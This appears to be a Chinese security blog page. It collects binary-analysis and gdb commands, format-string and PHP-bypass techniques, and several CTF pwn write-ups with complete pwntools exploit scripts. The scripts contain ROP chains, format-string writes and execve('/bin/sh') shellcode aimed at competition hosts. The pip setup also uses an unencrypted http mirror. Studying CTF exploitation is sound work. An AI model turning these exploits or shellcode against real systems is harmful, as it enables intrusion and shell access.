二进制分析常用命令

  • readelf -h binary 查看二进制文件头
  • readelf -S binary 查看二进制文件节表(section table)
  • readelf -l binary 查看二进制文件段表(program header table)
  • readelf -x number|name binary 打印下标为number或名字为name的section内容(十六进制)
  • readelf -p number|name binary 以字符串形式打印节区内容
  • readelf -s binary 读取符号表
  • objdump -s binary 将所有节的内容打印出来
  • objdump -d binary 将代码段进行反汇编
  • objdump -r binary 查看重定位表

格式化串漏洞利用姿势

读/写栈上数据

  • 读:计算出要读的地址是第xxx个不定参数,然后利用%xxx$x 读取(x-十六进制读,lx长整读取(64位))
  • 写:同上,计算xxx,yyy为要写入的值,%yyyc%xxx$hn(写)即可实现栈上数据写入(h-短整型,l-长整型),注意,此时修改的内容不是第xxx个不定参数的内容,而是它指向的内存地址的内容

读/写任意地址数据

  • 读:addr + %xxx$s + signal_str,读取addr地址处的字符串,xxx是根据addr在栈上的地址计算出的不定参数的值,signal_str用于截取获取的字符串,recvuntil(signal_str)
  • 写:addr+%yyyc+%xxx$hn,xxx计算方法同上,yyy+len(addr)为要写入的数据

Continue reading 格式化串漏洞利用姿势

php安全审计之各种绕过

  • php因为是弱类型,所以在遇到 “==”时可以轻松绕过:
    • md5比较绕过 (md5($_GET[‘xxx’] == ‘0e134324242423432424234’)
      • 240610708    0e462097431906509019562988736854
      • QNKCDZO    0e830400451993494058024219903391
      • aabg7XSs       0e087386482136013740957780965295
      • 0e开头md5值小结:https://www.219.me/posts/2884.html
    • 序列化绕过
    • 进制转换
      • “0xdeadc0de” == “3735929054”
      • “420.00000e-1” == “42” (安全宝约宝妹)
    • 精度
      • 1 == 0.999999999999999999
  • 数组绕过,php某些函数数组作为参数返回NULL
    • strcmp(array(), “abc”)
    • md5(array())
  • file_get_contents绕过,针对 $result=file_get_contents($_GET[‘xxx’]),在远程协议(如http、ftp协议)失效的情况下,可以用php伪协议绕过
    • ?xxx=data:text/plain,(url编码的内容)
    • ?xxx=php://input,然后将要赋值的数据写入POST里也可达到上述结果
  • include($_GET[‘file’]),文件包含漏洞读取源代码,file=php://filter/read=convert.base64-encode/resource=./class.php

Continue reading php安全审计之各种绕过

python换源

临时使用:

pip install pythonModuleName -i http://pypi.douban.com --trusted-host=pypi.douban.com

永久使用:
修改配置文件:linux的文件在~/.pip/pip.conf,windows在%HOMEPATH%\pip\pip.ini),修改内容为:

[global]
index-url = http://pypi.douban.com/simple
trusted-host = pypi.douban.com

提权相关

  • https://www.91ri.org/7459.html
  • http://drops.the404.me/2477.html
  • http://bobao.360.cn/learning/detail/2984.html(原文:http://resources.infosecinstitute.com/privilege-escalation-linux-live-examples/)
  • kernel exploits

系统漏洞相关书单

  • linux内核基础:Linux内核设计与实现 linux设备驱动程序 深入理解linux内核
  • 汇编语言:基于linux环境
  • 程序员的自我修养
  • 软件调试
  • Reverse Engineering for beginners
  • debug hacks 中文版
  • binary hacks:https://github.com/shihyu/Linux_Programming/blob/master/books/Binary.Hacks%20%E9%BB%91%E5%AE%A2%E7%A7%98%E7%AC%88100%E9%80%89.pdf
  • 内核漏洞的利用与防范
  • 逆向工程基本原理
  • 加密与解密
  • 0day
  • 漏洞战争

 

附:

web安全:Web安全深度剖析 《黑客攻防技术宝典:WEB实战篇》

 

gdb-peda调试汇总

  • break *0x400100(b main), 在0x400100处下断点,info b,查看断点信息,delete [number] ,删除断点
  • x /4xg $ebp, 查看ebp开始的4个8字节内容,(b表示单字节,h表示双字节,w表示四字节,g表示八字节;x表示十六进制输出,s表示字符串输出,i表示反汇编,c表示单字符)
  • p $eax, 输出eax内容, set $eax = 4,修改变量值
  • c继续运行,r重新开始运行,ni单步步过,si单步步入,fini运行至函数刚刚结束处
  • bt,查看函数调用
  • info f,查看当前栈帧,context查看运行上下文,context_stack查看当前堆栈
  • call func,强制函数调用
  • ropgagdet,找common rop
  • vmmap,查看虚拟地址分布
  • shellcode,搜索,生成shellcode

pwn tips

  • 忽略某信号 trap “” signal , 例如 trap “” SIGALRM ,忽略时钟信号
  • python os.environ[‘LD_PRELOAD’] = ‘./libc-x.so’,指定libc加载
  • pwntools注意send和sendline的区别
  • IDA pro: idapython findbinary(here(), SEARCH_DOWN, “61 62 63″) 从当前位置开始搜索”abc”
  • libc可以用来leak heap地址,fastbins[10]或者normalbins
  • 获取eip控制权,可以直接到libc中寻找直接调用execve(“/bin/sh”)的地址(用ida加载libc.so,寻找引用 ‘/bin/sh’ 的位置)
  • pwntools dynelf 获取两个函数地址相对偏移,获取偏移之后leak一次即可获得system地址
  • 程序运行之后找字符串,system(“sh”)通常也是可行的
  • stack overflow, frame faking,利用 leave, ret,fake ebp可以设置为某段可用的已知地址,比如选external之后的数据区,参考http://phrack.org/issues/58/4.html
  • 插入NULLbytes,http://phrack.org/issues/58/4.html
  • gcc 编译shellcode :gcc -fno-stack-protector -z execstack -o bug bug.c
  • 64 bit call parameters RDI, RSI, RDX, R10, R8, R9,rop 利用见 linux x64 rop利用总结
  • asm(‘sub rsp, 4; jmp rsp’, arch=’amd64′)
  • roputils 关于rop的各种利用方法集合

全国大学生信息安全竞赛writeup(PWN)

PWN1:(Careful)

明显的栈溢出,通过指定v3可以覆盖返回地址,想要构造shellcode太短了,只能写10个字节,注意到i也在栈上,所以可以重置计数器,

最后exp如下:

#!/usr/bin/env python
from pwn import *

DEBUG=0
if DEBUG:
    p = process("./bin/A44DD70F78267A1CCBEE12FE0D490AD6")
    context.log_level = 'debug'
else:
    p = remote("106.75.37.29", 10000)


def resetCounter():
    p.recvuntil("input index:")
    p.sendline("28")
    p.recvuntil("input value:")
    p.sendline(str(0x0))

def writeAddress(start, addr):
    data = hex(addr)[2:].rjust(8,'0')
    print data
    p.recvuntil("input index:")
    p.sendline(str(start))
    p.recvuntil("input value:")
    p.sendline(str(int(data[6:],16)))

    p.recvuntil("input index:")
    p.sendline(str(start+1))
    p.recvuntil("input value:")
    p.sendline(str(int(data[4:6],16)))

    p.recvuntil("input index:")
    p.sendline(str(start+2))
    p.recvuntil("input value:")
    p.sendline(str(int(data[2:4],16)))

    p.recvuntil("input index:")
    p.sendline(str(start+3))
    p.recvuntil("input value:")
    p.sendline(str(int(data[:2],16)))

def setCounter():
    p.recvuntil("input index:")
    p.sendline("28")
    p.recvuntil("input value:")
    p.sendline(str(0x10))


def exp():
    writeAddress(44, 0x08048420) #scanf
    writeAddress(48, 0x080486ae) #pop pop ret
    resetCounter()

    writeAddress(52, 0x080486ed) # %d
    writeAddress(56, 0x0804a200) # /bin
    resetCounter()

    writeAddress(60, 0x08048420) #scanf
    writeAddress(64, 0x080486ae) #pop pop ret
    resetCounter()

    writeAddress(68, 0x080486ed) #%d
    writeAddress(72, 0x0804a204) #/sh
    resetCounter()

    writeAddress(76, 0x080483e0) #plt@system
    writeAddress(84, 0x0804a200)

    raw_input("bp2")
    setCounter()

    p.sendline(str(u32('/bin')))
    p.sendline(str(u32('/sh\x00')))

    p.interactive()

exp()

PWN2:(Cis2)

还是栈溢出,注意到handle_op_code中没有对safe_stack 进行边界检查,可以溢出返回地址,将payload放到全局数组buffer里,跳转到buffer即可。

Exp如下:

#!/usr/bin/env python
from pwn import *

DEBUG=0
if DEBUG:
    p = process("./bin/0A77F6D4BD5CB2700A89F9C6F8D8F116")
else:
    p = remote("106.75.37.31", 23333)

def exp():
    p.recvuntil("Fight!\n")
    for i in range(30):
        p.sendline(str(0x602088))

    p.sendline('m')
    p.sendline('w')
    p.sendline('w')
    p.sendline('w')
    p.sendline('-')
    raw_input("bp")
    payload="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
    p.sendline('q'+'a'*7+payload)

    p.interactive()


exp()

PWN3 mips

第一次接触mips架构的题目,汇编代码看了半天,有个点没get到,最后没有解出来,后来看了别人的wp之后,才发现真的就差一点,栈溢出是非常明显的

并且程序输入某个值可以打印处栈地址,而且没开nx,后面就直接覆盖返回地址为stack上放置payload的地址即可。

from pwn import *

#context.log_level = 'debug'
#context.update(arch='mips', endian='little')
p = remote("106.75.32.60", 10000)

p.recvuntil("help.\n")


p.sendline('2057561479')
p.recvuntil("0x")
stack_addr = int(p.recv(8), 16)

print "stack_addr =>", hex(stack_addr)
p.sendline('1'*0x70+p32(stack_addr+8))
p.recv()

payload = 'a'*8
payload += "\xff\xff\x10\x04"
payload += "\xab\x0f\x02\x24"
payload += "\x55\xf0\x46\x20"
payload += "\x66\x06\xff\x23"
payload += "\xc2\xf9\xec\x23"
payload += "\x66\x06\xbd\x23"
payload += "\x9a\xf9\xac\xaf"
payload += "\x9e\xf9\xa6\xaf"
payload += "\x9a\xf9\xbd\x23"
payload += "\x21\x20\x80\x01"
payload += "\x21\x28\xa0\x03"
payload += "\xcc\xcd\x44\x03"
payload += "/bin/sh"

p.sendline(payload)
p.recv()

p.sendline('exit')
p.interactive()

腾讯实习30强writeup(PWN)

1. PWN1 tc

Linux下的保护机制基本都没开,查看程序逻辑,发现我们输入的一个变量值v6会决定函数指针v7,其中 funcs是一个全局数组,并没有对v6值进行判断,因此我们可以通过设置v6的值让函数指向某个地址,观察全局变量区我们发现存在buf这个全局数组,而这个字符数组内容是在readIntergers函数中由用户输入的,因此我们可以控制buf的前四个字节为buf+4的地址,buf+4开始为linux shell的payload。

   

Exp如下:

#!/usr/bin/env python

from pwn import *



DEBUG = 0

buf_addr = 0x0804a0a0

#context.log_level = 'debug'

if DEBUG:

    p = process("./bin/tc1")

else:

    p = remote('106.75.9.11', 20000)



def exp():

    p.recvuntil("Divide\n")

    p.sendline("29")

    p.recvuntil("]\n")

    payload = p32(buf_addr+4)

    payload += "\x6a\x0b"

    payload += "\x58"

    payload += "\x31\xf6"

    payload += "\x56"

    payload += "\x68\x2f\x2f\x73\x68"

    payload += "\x68\x2f\x62\x69\x6e"

    payload += "\x89\xe3"

    payload += "\x31\xc9"

    payload += "\x89\xca"

    payload += "\xcd\x80"

    #raw_input("set bp")

    p.sendline(payload)

    p.interactive()


exp()

2. PWN2 echo-200

这个程序是一个静态链接的程序,checksec发现只开启了stack canary.

   

下面查看程序逻辑,逻辑比较简单,只是不断的读字符和打印字符 

 

注意到while循环里printf存在明显的格式化串漏洞,没开nx,我们就可以考虑直接将linux 获取shell的shellcode放在buffer里,利用思路如下:首先leak出buffer地址,根据size与buffer的相对偏移计算出size的地址,然后将size改为0x200,扩大buffer的size之后,下面就是劫持程序流程,我们可以计算出调用printf时返回地址与buffer的偏移,从而将返回地址修改为buffer中的某个地址,完整的利用exp如下:  

#!/usr/bin/env python
from pwn import *

DEBUG = 0
if DEBUG:
	p = process('./bin/echo-200')
else:
	p = remote('106.75.9.11', 20001)

context.log_level = 'debug'
def exp():
    p.recvuntil("\n")
    p.sendline("%5$x")
    buf_addr = u32(p.recvuntil('\n')[:-1].decode('hex')[::-1])
    print "buf_addr =>", hex(buf_addr)
    p.recvuntil("\n")
    payload = p32(buf_addr-0xc)
    payload += "%"+str(0x200-4)+"c"
    payload += "%7$hn"
    p.sendline(payload)
    p.recvuntil('\n')
    ret_addr = buf_addr - 0x20
    payload_addr = buf_addr + 0x100
    print "payload_addr =>", hex(payload_addr)
    payload_low_addr= payload_addr & 0xffff
    payload_high_addr = payload_addr >> 16
    if payload_high_addr > payload_low_addr:
	payload2 = p32(ret_addr)
	payload2 += p32(ret_addr+2)
	payload2 += '%'+str(payload_low_addr - 8)+'c'
	payload2 += "%7$hn"
	payload2 += '%'+str(payload_high_addr - payload_low_addr)+'c'
	payload2 += "%8$hn"
	payload2 += 'a'*(0x100- len(payload2))
	payload2 += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
    else:
	payload2 = p32(ret_addr+2)
	payload2 += p32(ret_addr)
	payload2 += '%'+str(payload_high_addr - 8)+'c'
	payload2 += "%7$hn"
	payload2 += '%'+str(payload_low_addr - payload_high_addr)+'c'
	payload2 += "%8$hn"
	payload2 += 'a'*(0x100- len(payload2))
	payload2 += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

    p.sendline(payload2)
    p.interactive()

exp()

 

3. PWN3 qwb3

这个程序开启了NX,查看程序逻辑,发现vulnerable_function函数存在明显的栈溢出,主要在于怎么利用

   

开始的思路是构造rop去leak write函数和read函数的地址,然后利用libc-database去找对应的libc,后来leak出来之后发现没有对应的libc版本,接下来想到直接用pwntools的dynelf去爆破system函数地址,与leak出来的write函数地址计算偏移。下次攻击时只需要leak处write函数便可计算出system函数地址,最后就是构造rop去写/bin/sh,并传给system函数,此处可以参考http://drops.wooyun.org/papers/7551,里面介绍了一段x64下一段比较通用的gadget,exp如下:

#!/usr/bin/env python
from pwn import *

DEBUG = 0
main = 0x40049d
binsh_addr = 0x601300

if DEBUG:
    p = process("./bin/qwb3")
    offset = 0x9c6d0
else:
    p = remote("106.75.8.230", 19286)
    offset = 0x9cc20

def leak(addr):
    payload = 'a'*72
    payload += p64(0x400631) # pop rsi, pop r15, ret
    payload += p64(addr) 
    payload += 'b'*8
    payload += p64(0x4005b6) 
    p.sendline(payload)
    data = p.recv(8)
    log.debug("%#x => %s" %(addr, (data or '').encode('hex')))
    p.recv()
    return data

def exp():
    '''
    p.recvuntil("\n")
    d = DynELF(leak, main, elf=ELF('./bin/qwb3'))
    system_addr = d.lookup('system', 'libc')
    write_addr = d.lookup('write', 'libc')
    print "system_addr =>", hex(system_addr)
    print "offset =>", hex(write_addr - system_addr)
    p.interactive()
    '''
    p.recvuntil("\n")
    payload = 'a'*72
    payload += p64(0x400631) # pop rsi, pop r15, ret
    payload += p64(0x601018) #got_write
    payload += p64(0)
    payload += p64(0x400633) # pop rdi, ret
    payload += p64(1) 
    payload += p64(0x400450) # plt_write
    payload += p64(0x400631) # pop rsi, pop r15, ret
    payload += p64(binsh_addr) # buf
    payload += p64(0) #rbp
    payload += p64(0x400633) # pop rdi, ret
    payload += p64(0)
    payload += p64(0x400460) # r12 read@got
    payload += p64(0x40059d) # vuln_function
    #raw_input("bp")
    p.sendline(payload)
    write_addr = u64(p.recv(8))
    system_addr = write_addr - offset
    print "system_addr =>", hex(system_addr)
    #raw_input("bp2")
    p.sendline('/bin/sh'+'\x00')
    payload2 = 'a'*72
    payload2 += p64(0x400633)  #pop rdi, ret
    payload2 += p64(binsh_addr)  #
    payload2 += p64(system_addr)
    p.sendline(payload2)
    p.recv()
    p.interactive()

exp()

4. PWN4

主程序逻辑如下:

 

其中,welcome函数和inputName函数分别是打印信息和输入用户名,checkFlag函数大概逻辑是要求你输入flag,并根据你输入的flag的长度与远程的flag相应前几个对应字符进行对比,匹配与不匹配时输出的信息不一样,这里就存在爆破的可能,首先爆破第一个字符,成功后继续爆破第二个,依次破解单个字符

 

Exp如下:

#!/usr/bin/env python
from pwn import *
import string
import time

whole_flag = ""
isCorrect = False

def exp(flag):
    global whole_flag
    global isCorrect
    p = remote('106.75.8.230', 13349)
    p.recvuntil("YOUR NAME:")
    p.sendline('aaa')
    p.recvuntil("again?\n")
    p.sendline('aaa')
    p.recvuntil("FLAG: ")
    p.sendline(flag)
    result = p.recv()
    if result.find("submit")>=0:
        whole_flag = flag
        isCorrect = True
        print "current flag:", flag,
    p.close()

#exp(whole_flag)
while len(whole_flag) < 20:
    isCorrect = False
    for i in string.ascii_letters+string.digits+'{_}':
        exp(whole_flag+i)
        time.sleep(0.5)
        if isCorrect == True:
            break
    if not isCorrect:
        print whole_flag
        break

print "whole flag:", whole_flag